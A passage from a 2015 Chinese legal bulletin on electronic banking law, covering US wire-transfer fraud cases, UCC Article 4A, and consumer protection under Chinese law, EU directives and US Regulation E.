76 信 息 简 报 华 东 政 法 大 学 计 算 机 和 法 学 学 科 交 叉 领 域 2015 年 11 期 是 某 公 司 股 东 的 人 签 发 的 指 令, 载 有 伪 造 的 签 名, 指 示 卖 出 其 公 司 股 票 并 将 收 入 的 资 金 用 电 子 方 式 划 拨 到 在 被 告 银 行 开 立 的 该 股 东 的 有 编 号 的 账 户 上 划 拨 人 银 行 ( 即 发 端 人 银 行 ), 电 子 划 拨 这 笔 资 金 到 被 告 受 拨 人 银 行, 受 拨 人 银 行 将 其 贷 记 编 号 账 户 然 而, 该 编 号 账 户 的 持 有 人 却 不 是 公 司 股 东 受 拨 人 银 行 的 账 户 持 有 人 知 道 其 账 户 贷 记 约 200 万 美 元 后, 根 据 其 事 前 与 欺 诈 人 达 成 的 通 过 电 子 资 金 划 拨 进 行 支 付 的 买 卖 合 同, 将 钻 石 和 一 些 珠 宝 交 付 给 欺 诈 人 原 告 请 求 被 告 返 还 划 拨 的 金 额, 从 而 引 起 诉 讼 在 诉 讼 中, 法 院 注 意 到 Evra 案 中 美 国 第 7 巡 回 上 诉 法 院 的 判 决 [9] 当 Evra 案 中 的 原 告 请 求 被 告 赔 偿 因 租 船 合 同 的 解 除 所 带 来 的 间 接 损 害 赔 偿 时, 上 诉 法 院 判 决 认 为, 受 拨 人 银 行, 即 瑞 士 银 行, 对 划 拨 人 银 行 的 客 户, 即 Evra 公 司, 不 承 担 间 接 损 害 赔 偿 责 任 但 在 此 案 中, 法 院 将 在 Securities Fund 案 与 Evra 案 作 了 区 别, 其 理 由 是 在 本 案 中 原 告 请 求 的 是 直 接 损 失 赔 偿, 即 款 项 的 返 还, 而 不 是 间 接 损 害 赔 偿 审 理 Securities Fund 案 的 法 院 认 为, 被 告 受 拨 人 银 行 实 际 上 是 划 拨 人 银 行 的 托 收 银 行, 而 划 拨 人 银 行 是 原 告 支 付 的 资 金 的 监 管 代 理 人 法 院 进 一 步 认 为, 不 论 根 据 过 失 理 论 还 是 合 同 理 论, 被 告 受 划 人 银 行 都 应 对 原 告 的 直 接 损 害 赔 偿 承 担 责 任, 即 返 还 划 拨 的 款 项 因 为 被 告 受 拨 人 银 行 实 际 上 是 划 拨 人 银 行 的 托 收 银 行, 所 以 作 为 划 拨 人 银 行 客 户 的 原 告 也 应 视 为 被 告 受 拨 人 银 行 的 客 户 根 据 过 失 理 论, 被 告 受 拨 人 银 行 负 有 在 进 行 电 子 资 金 划 拨 时 对 原 告 注 意 的 义 务 而 根 据 合 同 理 论, 被 告 受 拨 人 银 行 也 应 对 作 为 划 拨 人 银 行 和 受 拨 人 银 行 间 合 同 第 三 方 受 益 人 的 原 告 承 担 责 任 因 此, 受 拨 人 银 行 应 将 资 金 划 拨 到 已 售 出 股 票 的 资 金 的 真 正 所 有 人 的 账 户 上 Securities Fund 案 的 关 键 在 于, 在 电 子 资 金 划 拨 中 出 现 欺 诈 时, 法 院 承 认 受 拨 人 银 行 在 一 定 条 件 下 应 对 划 拨 人 银 行 的 客 户 承 担 责 任 {22} 在 Bradford Trust Co.v. Tex American Bank Houston 一 案 中, 原 告 是 划 拨 人 银 行 而 非 划 拨 人 银 行 的 客 户, 被 告 是 受 拨 人 银 行 在 该 案 中, 欺 诈 人 与 Colonial Coins 约 定, 以 800, 000 美 元 从 后 者 购 买 稀 有 硬 币 和 金 块 欺 诈 人 声 称, 支 付 的 方 式 是 从 其 在 Boston 的 原 告 划 拨 人 银 行 的 账 户 上 用 电 子 资 金 划 拨 将 款 项 划 拨 到 Colonial Coins 在 Houston 的 被 告 受 拨 人 银 行 的 账 户 上 为 了 履 行 与 Colonial Coins 达 成 的 买 卖 合 同, 欺 诈 人 向 原 告 划 拨 人 银 行 发 出 一 封 伪 造 的 信 函 和 股 票 转 让 授 权 书 (stock power), 指 令 划 拨 人 银 行 从 Rochefort 共 同 基 金 账 户 上 清 算 价 值 800,000 美 元 的 证 券 并 将 所 得 资 金 用 电 子 方 式 划 拨 到 被 告 受 拨 人 银 行 的 有 编 号 的 账 户 上 欺 诈 人 发 出 的 指 令 声 称, 被 告 受 拨 人 银 行 中 的 该 编 号 账 户 是 以 Rochefort 的 名 义 开 立 的, 而 事 实 上, 该 账 户 是 以 Colonial Coins 的 名 义 开 立 的 被 告 受 拨 人 银 行 接 收 资 金 后, 通 知 Colonial Coins 其 账 户 已 经 贷 记 接 收 的 金 额 由 于 已 得 到 价 款,Colonial Coins 将 稀 有 硬 币 和 金 块 交 付 欺 诈 人 当 Rochefort 收 到 从 原 告 划 拨 人 银 行 账 户 划 出 资 金 的 通 知 并 坚 持 认 为 未 授 权 时, 原 告 划 拨 人 银 行 才 发 现 存 在 欺 诈 原 告 划 拨 人 银 行 重 新 贷 记 其 客 户 Rochefort 的 账 户, 而 当 被 告 受 拨 人 银 行 和 Colonial Coins 拒 绝 返 还 资 金 时, 向 被 告 受 拨 人 银 行 提 起 诉 讼 初 审 法 院 应 用 比 较 过 失 理 论 在 划 拨 人 银 行 与 受 拨 人 银 行 间 分 摊 损 失, 而 不 论 是 划 拨 人 银 行 还 是 受 拨 人 银 行 都 不 接 受 初 审 法 院 的 判 决 上 诉 时, 原 告 划 拨 人 银 行 坚 决 主 张 被 告 受 拨 人 银 行 因 过 失 未 能 遵 循 原 告 划 拨 人 银 行 的 指 令 将 资 金 存 入 Rochefort 在 受 拨 人 银 行 的 账 户, 因 此 应 承 担 全 部 损 失 被 告 受 拨 人 银 行 抗 辩 道, 是 原 告 划 拨 人 银 行 与 欺 诈 人 打 交 道, 接 收 欺 诈 人 伪 造 的 信 函, 处 于 防 止 欺 诈 防 止 损 失 的 最 佳 位 置, 因 此 必 须 承 担 全 部 损 失 美 国 上 诉 法 院 判 定, 尽 管 被 告 受 拨 人 银 行 存 在 过 失, 但 相 对 于 原 告 划 拨 人 银 行 的 过 失 来

77 2015 年 11 期 华 东 政 法 大 学 计 算 机 和 法 学 学 科 交 叉 领 域 信 息 简 报 说, 前 者 的 过 失 是 第 二 位 的, 因 而 原 告 划 拨 人 银 行 必 须 承 担 全 部 损 失 美 国 上 诉 法 院 认 为, 初 审 法 院 所 依 据 的 比 较 过 失 理 论 不 适 用 于 此 案 由 前 述 可 知, 美 国 统 一 商 法 典 第 3 编 规 定, 有 关 票 据 的 类 似 争 论 产 生 时, 损 失 由 与 伪 造 者 打 交 道 的 当 事 人 承 担, 因 为 其 处 于 避 免 损 失 的 最 佳 位 置 上 诉 法 院 认 为 美 国 统 一 商 法 典 第 3 编 中 规 定 的 这 一 原 则 也 应 适 用 于 电 子 资 金 划 拨 在 此 案 中, 原 告 划 拨 人 银 行 直 接 与 欺 诈 人 打 交 道, 不 去 核 实 声 称 发 自 Rochefort 的 指 令 是 否 真 的 发 自 Rochefort, 而 是 通 过 清 算 其 账 户 和 电 子 划 拨 资 金 使 欺 诈 人 的 计 划 得 以 继 续 实 施 因 此, 原 告 划 拨 人 银 行 是 产 生 损 失 的 主 要 原 因, 根 据 美 国 统 一 商 法 典 第 3 编 规 定 的 原 则, 应 对 全 部 损 失 承 担 责 任 虽 然 审 理 Securities Fund 案 的 法 院 认 为 受 拨 人 银 行 应 对 划 拨 人 银 行 的 客 户 承 担 责 任, 但 是, 依 据 类 似 的 事 实, 审 理 Bradfort 案 的 法 院 却 认 为 受 拨 人 银 行 不 应 对 划 拨 人 银 行 承 担 责 任 {22} 之 所 以 产 生 不 同 结 果 的 原 因 在 于, 在 Securities Fund 一 案 中, 法 院 认 为 电 子 资 金 划 拨 当 事 方 间 存 在 侵 权 关 系 或 合 同 关 系 ; 而 在 Fradfort 一 案 中, 法 院 认 为 电 子 资 金 划 拨 当 事 方 间 的 权 利 义 务 关 系 类 似 于 票 据 关 系, 应 适 用 票 据 法 所 确 立 的 原 则 因 此, 明 确 电 子 资 金 划 拨 各 当 事 方 的 关 系 的 法 律 性 质 具 有 重 要 的 意 义 在 美 国 统 一 商 法 典 第 4A 编 施 行 前, 不 存 在 调 整 大 额 电 子 资 金 划 拨 的 统 一 的 法 律, 不 同 的 大 额 电 子 资 金 划 拨 由 不 同 的 当 事 人 私 人 间 的 合 同 调 整 并 受 制 于 不 同 的 法 院 解 释 {23} 大 额 电 子 资 金 划 拨 的 各 当 事 方 究 竟 为 何 种 法 律 关 系, 存 在 不 同 的 认 识 如 前 述, 在 Securities Fund 案 与 Fradfort 案, 类 似 的 案 情 却 做 出 了 不 同 的 判 决 其 原 因 就 在 于, 在 Securities Fund 一 案 中, 法 院 所 依 据 的 是 普 通 法 的 侵 权 规 则 或 合 同 规 则 ; 而 在 Bradford 一 案 中, 法 院 类 推 适 用 了 美 国 统 一 商 法 典 第 3 编 和 第 4 编 的 原 则 本 文 作 者 认 为, 美 国 统 一 商 法 典 第 4A 编 的 制 定, 在 大 额 电 子 资 金 划 拨 的 各 当 事 方 间 创 设 了 一 种 新 的 法 律 关 系, 即 资 金 划 拨 关 系 或 贷 记 划 拨 关 系 历 史 上, 曾 发 生 融 资 租 赁 合 同 的 法 律 性 质 的 争 论, 因 为 合 同 的 性 质 直 接 关 系 到 合 同 的 分 类 合 同 的 解 释 法 律 的 适 用 税 负 的 多 少 及 当 事 人 的 利 害 关 系 就 融 资 租 赁 合 同, 有 分 期 付 款 买 卖 契 约 说 租 赁 契 约 说 金 钱 消 费 借 贷 契 约 说 动 产 担 保 交 易 说 等 {24} 各 种 学 说 的 指 导 思 想 均 为 将 融 资 租 赁 合 同 纳 入 传 统 的 有 名 合 同, 但 都 难 以 完 全 解 释 融 资 租 赁 合 同 这 种 以 租 赁 的 形 式 而 达 到 融 资 目 的 的 新 型 合 同 的 性 质 与 其 如 此, 还 不 如 将 融 资 租 赁 合 同 规 定 为 一 种 有 名 合 同, 在 立 法 例 上, 我 国 1999 年 合 同 法 在 第 12 章 借 款 合 同 第 13 章 租 赁 合 同 之 外, 于 第 15 章 规 定 了 融 资 租 赁 合 同 正 如 我 们 无 须 争 论 融 资 租 赁 合 同 本 质 上 是 融 资 合 同 还 是 租 赁 合 同, 而 应 将 其 直 接 定 性 为 一 种 新 型 的 有 名 合 同 一 样, 我 们 也 无 须 争 论 大 额 电 子 资 金 划 拨 的 各 当 事 方 间 的 权 利 义 务 是 否 为 票 据 关 系, 或 能 否 适 用 票 据 法 所 确 立 的 原 则, 而 应 认 为 大 额 电 子 资 金 划 拨 的 各 当 事 方 形 成 资 金 划 拨 关 系 或 贷 记 划 拨 关 系, 其 内 容 即 为 美 国 统 一 商 法 典 第 4A 编 所 规 定 的 发 端 人 发 端 人 银 行 中 间 银 行 受 益 人 银 行 及 受 益 人 的 权 利 义 务 唯 有 如 此, 才 能 明 确 电 子 银 行 各 当 事 方 的 权 利 义 务 关 系, 防 范 电 子 银 行 法 律 风 险 美 国 统 一 商 法 典 第 4A 编 对 明 确 电 子 资 金 划 拨 法 律 关 系 的 性 质 具 有 重 要 的 意 义 不 仅 如 此, 美 国 统 一 商 法 典 第 4A 编 创 设 的 支 付 命 令 (payment order) 和 安 全 程 序 (security procedure) 等 重 要 概 念 及 一 整 套 规 则 这 些 概 念 和 规 则 没 有 采 用 功 能 等 同 等 方 法 来 对 过 去 的 法 律 进 行 解 释 和 修 补, 而 是 全 新 的 概 念 和 规 则, 是 我 国 建 立 电 子 银 行 法 律 制 度 的 重 要 参 考 {25}, 也 对 化 解 电 子 银 行 各 当 事 方 的 权 利 义 务 处 于 不 确 定 状 态 的 法 律 风 险 有 重 要 的 意 义 四 电 子 银 行 中 消 费 者 保 护 巴 塞 尔 银 行 监 管 委 员 会 在 电 子 银 行 业 务 与 电 子 货 币 行 为 的 风 险 管 理 中 将 电 子 银 行 定 义 为 : 通 过 电 子 渠 道 (electronic channels) 提 供 零 售 性 的 小 额 银 行 产 品 和 服 务 这 些 产 品 和 服 务 包 括 : 存 款 借 贷 账 户 管 理 金 融 顾 问 电 子 账 户 支 付, 以 及 其 他 一 些 诸 如 电 子 货 币

78 信 息 简 报 华 东 政 法 大 学 计 算 机 和 法 学 学 科 交 叉 领 域 2015 年 11 期 等 电 子 支 付 的 产 品 和 服 务 银 行 提 供 的 这 类 产 品 和 服 务 对 象 包 括 自 然 人 法 人 我 国 消 费 者 权 益 保 护 法 第 2 条 规 定 : 消 费 者 为 生 活 消 费 需 要 购 买 使 用 商 品 或 者 接 受 服 务, 其 权 益 受 本 法 保 护 ; 本 法 未 作 规 定 的, 受 其 他 有 关 法 律 法 规 保 护 在 银 行 与 服 务 对 象 的 关 系 中, 电 子 银 行 经 营 者 与 法 人 间 的 关 系 不 受 消 费 者 权 益 保 护 法 的 调 整, 而 电 子 银 行 经 营 者 与 自 然 人 间 的 关 系 是 否 受 消 费 者 保 护 法 调 整 则 不 无 疑 义 正 是 消 费 者 权 益 保 护 法 中 为 生 活 消 费 需 要 这 一 对 消 费 者 的 限 定 使 得 电 子 银 行 的 哪 些 个 人 服 务 对 象 构 成 消 费 者 的 存 在 争 议, 电 子 银 行 中 消 费 者 的 范 围 应 限 定 在 为 生 活 消 费 需 要 购 买 使 用 银 行 通 过 电 子 渠 道 提 供 的 产 品 和 服 务 的 个 人 这 样 一 来, 电 子 银 行 的 某 些 业 务 由 于 被 认 为 是 个 人 投 资 而 不 属 于 个 人 生 活 消 费 的 范 畴, 因 此, 接 受 电 子 银 行 的 产 品 和 服 务 的 个 人 就 不 一 定 是 消 费 者 我 国 于 2013 年 修 改 消 费 者 权 益 保 护 法 时 增 加 一 条 作 为 第 28 条 : 采 用 网 络 电 视 电 话 邮 购 等 方 式 提 供 商 品 或 者 服 务 的 经 营 者, 以 及 提 供 证 券 保 险 银 行 等 金 融 服 务 的 经 营 者, 应 当 向 消 费 者 提 供 经 营 地 址 联 系 方 式 商 品 或 者 服 务 的 数 量 和 质 量 价 款 或 者 费 用 履 行 期 限 和 方 式 安 全 注 意 事 项 和 风 险 警 示 售 后 服 务 民 事 责 任 等 信 息 该 条 规 定 提 供 金 融 服 务 的 经 营 者 应 当 向 消 费 者 提 供 相 关 信 息, 进 一 步 明 确 应 当 将 购 买 和 使 用 电 子 银 行 提 供 的 服 务 的 个 人 纳 入 我 国 消 费 者 权 益 保 护 法 调 整 不 论 是 在 传 统 商 务 中 还 是 在 电 子 商 务 中, 所 有 消 费 者 都 是 平 等 的, 因 此 国 家 对 电 子 商 务 中 消 费 者 权 益 遭 受 侵 害 时 所 提 供 的 保 护 水 平 也 应 该 是 一 致 的, 应 实 行 同 等 保 护 原 则 {26}100 因 此, 在 电 子 银 行 领 域, 消 费 者 应 受 到 与 其 在 传 统 商 务 领 域 同 等 的 保 护 水 平 1999 年 12 月 9 日, 经 济 合 作 与 发 展 组 织 制 定 了 电 子 商 务 消 费 者 保 护 准 则 (OECD Guidelines for Consumer Protection in the Context of Electronic Commerce), 提 出 保 护 消 费 者 三 大 原 则 :(1) 确 保 网 上 购 物 的 消 费 者 所 受 到 的 保 护 不 低 于 其 他 购 物 方 式 ;(2) 排 除 消 费 者 和 企 业 在 网 络 上 进 行 交 易 所 遭 遇 的 不 确 定 性 ;(3) 在 不 妨 碍 电 子 商 务 发 展 的 前 提 下, 建 立 和 发 展 网 上 消 费 者 保 护 机 制 其 中, 确 保 网 上 购 物 的 消 费 者 所 受 到 的 保 护 不 低 于 其 他 购 物 方 式 体 现 了 同 等 保 护 原 则 欧 盟 关 于 内 部 市 场 中 与 信 息 社 会 服 务 有 关 的 若 干 法 律 问 题 特 别 是 电 子 商 务 问 题 的 指 令 (Directive 2000/31/EC of the European Parliament and of the Council of 8 June 2000 on certain legal aspects of Information Society services, in particular electronic commerce, in InternalMarket, 简 称 欧 盟 电 子 商 务 指 令 或 欧 盟 2000/31/EC 指 令 ) 明 确 对 同 等 保 护 原 则 进 行 了 确 认, 欧 盟 在 消 费 者 保 护 领 域 已 有 的 立 法 通 常 无 须 修 改 都 可 以 完 全 适 用 于 信 息 社 会 服 务 领 域 这 些 立 法 有 关 于 在 个 人 数 据 处 理 过 程 中 保 护 当 事 人 及 此 类 数 据 自 由 流 通 的 指 令 (Directive 95/46/EC of the European Parliament and of the Council of 24 October 1995 on the protection of individuals with regard to the processing of personal data and on the free movement of suchdata, 简 称 欧 盟 个 人 数 据 保 护 指 令 或 欧 盟 95/46/EC 指 令 ) 关 于 消 费 者 合 同 中 不 公 平 条 款 的 指 令 (Directive 93/13/EEC of 5 April 1993 on unfair terms in consumer contracts, 简 称 欧 盟 不 公 平 条 款 指 令 或 欧 盟 93/13/EEC 指 令 ) 关 于 远 程 合 同 中 消 费 者 权 益 保 护 的 指 令 (Directive 97/7/EC of the European Parliament and of the Council of 20 May 1997 on the protection of consumers in respect of distance contracts, 简 称 欧 盟 远 程 销 售 指 令 或 欧 盟 97/7/EC 指 令 ) 欧 盟 个 人 数 据 保 护 指 令 在 于 规 范 消 费 者 个 人 信 息 数 据 采 集 及 处 理, 包 括 个 人 数 据 的 收 集 记 录 储 存 修 改 使 用 或 销 毁 等, 该 指 令 规 定 的 信 息 收 集 者 的 义 务 主 要 有 : 保 证 信 息 的 品 质 信 息 处 理 合 法 敏 感 信 息 的 禁 止 处 理 告 知 当 事 人, 消 费 者 享 有 的 权 利 主 要 有 : 接 触 信 息 的 权 利 更 正 删 除 或 封 存 其 个 人 信 息 的 权 利 反 对 特 定 信 息 的 处 理 与 以 行 销 为 目 的 的 使 用 与 传 递 个 人 信 息 的 权 利 欧 盟 不 公 平 条 款 指 令 中 所 称 的 消 费 者 合 同 包 括 银 行 与 消 费 者 间 的 合 同, 对 银 行 业 消 费 者 保 护 具 有 重 要 作 用, 欧 盟 远 程 销 售 指 令 适 用 于 电 子 商 务 领 域 中 利 用 远 程 通 信 技 术 订 立 合 同

79 2015 年 11 期 华 东 政 法 大 学 计 算 机 和 法 学 学 科 交 叉 领 域 信 息 简 报 的 过 程 中 涉 及 的 消 费 者 权 益 保 护 的 法 律 问 题, 由 于 电 子 银 行 业 务 包 括 远 距 离 服 务, 故 该 指 令 可 以 适 用 于 电 子 银 行 中 的 消 费 者 不 过, 欧 盟 最 新 的 消 费 者 权 益 保 护 指 令 (Directive 2011/83/EU of the European Parliament and of the Council of 25 October 2011 on consumer rights, 简 称 欧 盟 2011/83/EU 指 令 ) 废 除 了 关 于 远 程 合 同 中 消 费 者 权 益 保 护 的 指 令, 并 将 远 程 合 同 交 易 的 消 费 者 保 护 统 一 规 定 在 消 费 者 权 益 保 护 指 令 中 在 电 子 商 务 领 域, 同 等 保 护 原 则 有 以 下 两 层 含 义 : 第 一, 对 于 既 有 法 律 和 规 则 可 以 调 整 的 问 题, 应 当 在 适 用 既 有 法 律 和 规 则 的 电 子 银 行 中 的 消 费 者 权 益 保 护, 现 行 消 费 者 权 益 保 护 法 的 规 则 可 以 适 用 的, 直 接 适 用 现 行 法 消 费 者 权 益 保 护 法 规 定 的 消 费 者 享 有 的 安 全 权 知 情 权 自 主 选 择 权 公 平 交 易 权 求 偿 权 当 然 可 用 于 保 护 电 子 银 行 消 费 者 的 权 利 第 二, 对 于 电 子 银 行 消 费 者 权 益 保 护 中 出 现 的 新 问 题, 应 当 针 对 这 一 领 域 构 建 新 的 法 律 规 则 同 等 保 护 原 则 并 非 意 味 着 在 任 何 情 况 下 均 适 用 统 一 的 规 则 {27}26 针 对 电 子 商 务 这 一 领 域 构 建 新 的 法 律 规 则, 其 目 的 仍 然 在 于 提 供 与 传 统 商 业 环 境 下 的 消 费 者 权 益 同 等 水 平 的 保 护 这 是 同 等 保 护 原 则 的 另 一 层 含 义 因 为 在 电 子 银 行 环 境 下, 电 子 银 行 通 过 电 子 设 备 和 网 络 提 供 的 服 务 具 有 特 殊 性, 包 括 服 务 环 境 的 开 放 性 远 距 离 服 务 ( 业 务 时 空 的 广 泛 性 ) 虚 拟 化 环 境 等, 这 些 使 得 消 费 者 的 权 益 更 易 受 到 侵 害, 仅 仅 依 据 传 统 的 消 费 者 保 护 法, 消 费 者 的 权 益 难 以 获 得 保 障, 如 消 费 者 个 人 信 息 的 保 护 信 息 披 露 等 因 此, 需 要 制 定 符 合 电 子 银 行 特 征 的 新 的 法 律 规 则, 为 电 子 银 行 的 消 费 者 提 供 特 别 保 护 例 如,2002 年 欧 盟 颁 布 了 一 个 专 门 的 指 令, 消 费 者 金 融 服 务 远 程 销 售 指 令 (The Directive 2002/65/EC on the distance marketing of consumer financial services, 简 称 欧 盟 2002/65/EC 指 令 ), 以 保 护 远 程 金 融 服 务 的 消 费 者 该 指 令 所 称 的 消 费 者 是 指 在 本 指 令 所 涵 盖 的 任 何 远 程 合 同 中 并 非 出 于 贸 易 商 业 或 职 业 目 的 行 事 的 任 何 自 然 人, 金 融 服 务 指 银 行 信 用 机 构 保 险 公 司 个 人 退 休 基 金 等 所 提 供 的 具 有 投 资 或 支 付 性 质 的 服 务 [10] 因 此, 该 指 令 所 称 的 消 费 者 包 括 电 子 银 行 消 费 者, 金 融 服 务 包 括 银 行 提 供 的 电 子 银 行 业 务 该 指 令 的 核 心 规 定 是 经 营 者 的 信 息 披 露 义 务 和 消 费 者 的 合 同 撤 销 权 这 说 明 虽 然 欧 盟 电 子 商 务 指 令 明 确 规 定 了 同 等 保 护 原 则, 但 这 并 不 妨 碍 欧 盟 制 定 适 用 于 特 定 领 域 消 费 者 的 消 费 者 保 护 规 则 我 国 电 子 银 行 消 费 者 保 护 的 主 要 法 律 依 据 是 消 费 者 权 益 保 护 法 虽 然 我 国 没 有 针 对 电 子 银 行 消 费 者 保 护 的 专 门 立 法, 但 这 并 不 影 响 我 国 就 电 子 银 行 业 务 的 特 点 为 电 子 银 行 中 的 消 费 者 提 供 特 别 保 护 我 国 2013 年 修 订 消 费 者 权 益 保 护 法 时, 将 只 适 用 于 规 范 特 定 交 易 领 域 的 消 费 者 和 经 营 者 的 权 利 义 务 关 系 的 条 款 纳 入 消 费 者 权 益 保 护 法 中, 为 该 特 定 交 易 的 消 费 者 提 供 特 别 保 护, 而 没 有 采 取 制 定 新 的 专 门 法 的 思 路 例 如, 消 费 者 权 益 保 护 法 第 25 条 规 定 : 经 营 者 采 用 网 络 电 视 电 话 邮 购 等 方 式 销 售 商 品, 消 费 者 有 权 自 收 到 商 品 之 日 起 七 日 内 退 货, 且 无 须 说 明 理 由, 但 下 列 商 品 除 外 :( 一 ) 消 费 者 定 做 的 ;( 二 ) 鲜 活 易 腐 的 ;( 三 ) 在 线 下 载 或 者 消 费 者 拆 封 的 音 像 制 品 计 算 机 软 件 等 数 字 化 商 品 ;( 四 ) 交 付 的 报 纸 期 刊 除 前 款 所 列 商 品 外, 其 他 根 据 商 品 性 质 并 经 消 费 者 在 购 买 时 确 认 不 宜 退 货 的 商 品, 不 适 用 无 理 由 退 货 消 费 者 退 货 的 商 品 应 当 完 好 经 营 者 应 当 自 收 到 退 回 商 品 之 日 起 七 日 内 返 还 消 费 者 支 付 的 商 品 价 款 退 回 商 品 的 运 费 由 消 费 者 承 担 ; 经 营 者 和 消 费 者 另 有 约 定 的, 按 照 约 定 该 条 赋 予 了 消 费 者 单 方 合 同 解 除 权, 主 要 是 因 为 远 距 离 购 物 的 消 费 者 无 法 直 接 接 触 商 品, 这 种 非 现 场 性 可 能 加 剧 消 费 者 与 经 营 者 之 间 的 信 息 不 对 称, 消 费 者 享 有 单 方 解 除 权 可 以 促 使 经 营 者 详 细 如 实 地 披 露 商 品 信 息, 消 费 者 可 以 在 收 到 商 品 后 在 七 天 内 考 虑 是 否 需 要 退 回 商 品, 国 外 将 该 制 度 称 为 冷 却 期 制 度 (cooling-off period) 又 如, 消 费 者 权 益 保 护 法 第 28 条 规 定 : 采 用 网 络 电 视 电 话 邮 购 等 方 式 提 供 商 品 或 者 服 务 的 经 营 者, 以 及 提 供 证 券 保 险 银 行 等 金 融 服 务 的 经 营 者, 应 当 向 消 费 者 提 供 经 营 地 址 联 系 方 式 商 品 或 者 服 务 的 数 量 和 质 量 价 款 或 者 费 用 履 行 期 限 和 方 式 安 全 注 意 事 项 和 风 险 警 示 售 后 服 务 民 事 责 任 等 信 息 本 条 规 定 经 营 者 的 信 息 披 露 义 务 保 障 了 消 费

80 信 息 简 报 华 东 政 法 大 学 计 算 机 和 法 学 学 科 交 叉 领 域 2015 年 11 期 者 知 情 权 的 实 现 在 第 8 条 已 规 定 消 费 者 享 有 知 情 权 的 情 况 下, 规 定 网 络 电 视 电 话 邮 购 等 方 式 提 供 商 品 或 者 服 务 的 经 营 者, 以 及 提 供 证 券 保 险 银 行 等 金 融 服 务 的 经 营 者 提 供 所 列 举 的 信 息 的 义 务, 反 映 了 现 实 生 活 中 这 两 类 交 易 中 消 费 者 所 处 的 地 位 较 传 统 交 易 更 弱, 在 远 距 离 交 易 中, 经 营 者 不 愿 意 披 露 商 品 或 服 务 的 信 息 或 尽 量 少 披 露 信 息, 这 使 得 消 费 者 在 订 立 合 同 前 无 法 全 面 了 解 商 品 或 服 务 的 信 息, 在 商 品 或 服 务 出 现 问 题 时 可 能 造 成 维 权 困 难 金 融 服 务 的 经 营 者 并 未 限 定 在 电 子 商 务 领 域, 无 论 是 传 统 金 融 服 务 的 经 营 者 还 是 通 过 电 子 通 信 和 网 络 提 供 电 子 银 行 业 务 的 经 营 者, 都 应 当 按 照 该 条 的 规 定 披 露 信 息 这 说 明 消 费 者 权 益 保 护 法 的 修 订 者 已 经 意 识 到 金 融 服 务 业 经 营 者 信 息 披 露 的 义 务 的 重 要 性, 但 这 对 于 电 子 银 行 而 言, 仅 增 加 第 28 条 的 规 定 显 然 难 以 充 分 保 障 电 子 银 行 消 费 者 的 权 益, 因 此, 有 必 要 在 借 鉴 国 外 先 进 立 法 的 基 础 上 进 行 完 善 例 如, 美 国 1978 年 的 联 邦 电 子 资 金 划 拨 法 (Electronic Fund Tranfer Act of 1978) 和 美 国 联 邦 储 备 委 员 会 (Board of Governors of the Federal Reserve System, 简 称 美 联 储 ) 颁 布 的 实 施 条 例 E 条 例 (Federal Reserve's Regulation E) 及 其 官 方 人 员 注 释 (Official Staff Commentary) 对 小 额 电 子 资 金 划 拨 ( 消 费 者 电 子 资 金 划 拨 ) 中 消 费 者 的 责 任 进 行 了 限 制, 以 保 护 持 卡 人 ( 消 费 者 ) 电 子 资 金 划 拨 法 与 E 条 例 都 将 未 经 授 权 的 电 子 资 金 划 拨 (unauthorized electronic fund transfers) 定 义 为 : 由 消 费 者 以 外 的 未 获 发 动 划 拨 实 际 授 权 的 人 所 发 动 的 从 该 消 费 者 账 户 划 出 资 金 而 该 消 费 者 并 未 从 该 划 拨 受 益 的 电 子 资 金 划 拨 但 本 术 语 不 包 括 下 述 任 何 电 子 资 金 划 拨 :(1) 由 消 费 者 向 其 提 供 该 消 费 者 账 户 的 卡 密 码 或 其 他 访 问 工 具 的, 该 消 费 者 以 外 的 人 发 动 的 电 子 资 金 划 拨, 除 非 该 消 费 者 已 通 知 有 关 金 融 机 构 不 再 授 权 该 他 人 发 动 电 子 资 金 划 拨 ;(2) 由 消 费 者 或 与 其 共 谋 的 任 何 人 发 动 的, 具 有 欺 诈 意 图 的 电 子 资 金 划 拨 ;(3) 由 金 融 机 构 实 施 的, 构 成 一 项 错 误 的 电 子 资 金 划 拨 [11] 一 项 特 定 的 交 易 是 否 构 成 未 经 授 权 的 划 拨, 常 常 引 发 一 系 列 困 难 的 事 实 问 题 与 法 律 问 题 例 如, 消 费 者 可 以 授 权 其 朋 友 或 家 庭 成 员 为 特 定 的 有 限 目 的 而 使 用 其 ATM 卡 如 果 朋 友 或 家 庭 提 取 的 金 额 超 过 了 授 权 的 金 额, 或 在 授 权 被 撤 销 以 后 继 续 使 用 卡, 那 么 这 些 划 拨 是 否 是 未 授 权 的 就 是 一 个 难 以 回 答 的 问 题 ; 又 如 果 使 用 ATM 卡 的 人 是 通 过 欺 诈 或 胁 迫 得 到 ATM 卡 的, 或 如 果 一 个 抢 劫 者 强 迫 消 费 者 自 己 发 动 划 拨, 那 么 也 存 在 该 划 拨 是 否 是 未 经 授 权 的 问 题 电 子 资 金 划 拨 法 与 E 条 例 及 其 官 方 人 员 注 释 规 定, 只 有 在 满 足 下 列 先 决 条 件 的 前 提 下, 消 费 者 才 对 涉 及 其 账 户 的 未 经 授 权 的 电 子 资 金 划 拨 承 担 责 任 :(1) 该 划 拨 是 使 用 一 个 消 费 者 已 接 受 的 卡 或 访 问 工 具 发 动 的, 已 接 受 的 卡 或 其 他 访 问 工 具 (accepted card or other means of access) 指, 当 向 其 签 发 卡 或 其 他 访 问 工 具 的 人 以 在 账 户 间 划 拨 货 币 为 目 的 或 以 获 得 货 币 财 产 劳 务 或 服 务 为 目 的, 已 要 求 并 接 收 (request and receive) 或 已 签 署 或 已 使 用 此 类 卡 或 其 他 访 问 工 具 之 时, 或 授 权 他 人 使 用 此 类 卡 或 其 他 访 问 工 具 之 时, 以 发 动 电 子 资 金 划 拨 为 目 的 的, 适 用 于 消 费 者 账 户 的 卡 密 码 或 其 他 访 问 工 具 [12] (2) 金 融 机 构 已 提 供 一 种 方 法, 例 如 签 字 指 纹 照 相 或 PIN, 以 确 认 持 有 访 问 工 具 的 消 费 者 的 身 份 [13]; (3) 金 融 机 构 已 向 消 费 者 进 行 关 于 消 费 者 对 未 经 授 权 的 划 拨 的 责 任 的 披 露 ; 已 向 消 费 者 提 供 在 消 费 者 认 为 已 经 发 生 或 可 能 发 生 未 经 授 权 的 划 拨 情 况 时 受 理 通 知 的 人 员 或 办 公 室 的 电 话 号 码 和 地 址, 以 及 金 融 机 构 的 营 业 日 [14] 如 果 满 足 了 上 述 前 提 条 件, 在 消 费 者 通 知 金 融 机 构 已 经 发 生 或 可 能 发 生 未 经 授 权 的 划 拨 以 前 出 现 了 未 经 授 权 的 电 子 资 金 划 拨, 则 消 费 者 的 责 任 不 超 过 50 美 元 和 未 